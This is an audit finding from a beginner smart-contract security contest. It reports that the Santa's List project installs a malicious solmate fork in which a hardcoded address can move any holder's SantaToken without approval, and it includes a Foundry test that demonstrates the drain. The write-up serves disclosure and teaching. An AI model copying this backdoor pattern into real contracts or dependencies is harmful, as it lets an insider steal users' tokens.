First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Use of malicious solmate fork allows rug-pulling of SantaToken present

rocknet

Summary

A specific address on the deployed chain (0x815F577F1c1bcE213c012f166744937C889DAF17) will be able to transfer the SantaToken at will after minting, due to use of malicious fork of solmate.

Vulnerability Details

The makefile installs a fork of solmate called solmate-bad from this repo: https://github.com/PatrickAlphaC/solmate-bad. The ERC20 abstract contract transferFrom function has been modified to allow the above address to transfer tokens from any address to any address.

Impact

Rug-pulling address could lock the token at the 0 address, or steal them for themselves. The attack could be made more effective by listening for the Transfer event emitted from _mint, to steal the tokens near-immediately after minting.

Tools Used

forge test. The following test is a PoC showing the rug pulling address transferring SantaToken. It shouldn't pass, but does.

address rugPuller = address(0x815F577F1c1bcE213c012f166744937C889DAF17);
​
modifier beExtraNice() {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
_;
}
​
modifier collectPresent() {
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
vm.startPrank(user);
santasList.collectPresent();
vm.stopPrank();
_;
}
​
function testRugPullerCanTransferAtWill() public beExtraNice collectPresent {
assertEq(1e18, santaToken.balanceOf(user));
​
vm.startPrank(rugPuller);
santaToken.transferFrom(user, rugPuller, santaToken.balanceOf(user));
vm.stopPrank();
​
assertEq(0, santaToken.balanceOf(user));
assertEq(1e18, santaToken.balanceOf(rugPuller));
}

Recommendations

Ensure this use of solmate, and any / all other dependencies are the from official sources. Further recommend a post-mortem to understand how precisely this malicious fork was introduced into the project.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

unauthorized elf wallet approval in solmate-bad

Some sneaky elf has changed this library to a corrupted one where his wallet address skips all the approval checks for SantaToken! Shenanigans here - https://github.com/PatrickAlphaC/solmate-bad/blob/c3877e5571461c61293503f45fc00959fff4ebba/src/tokens/ERC20.sol#L88

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.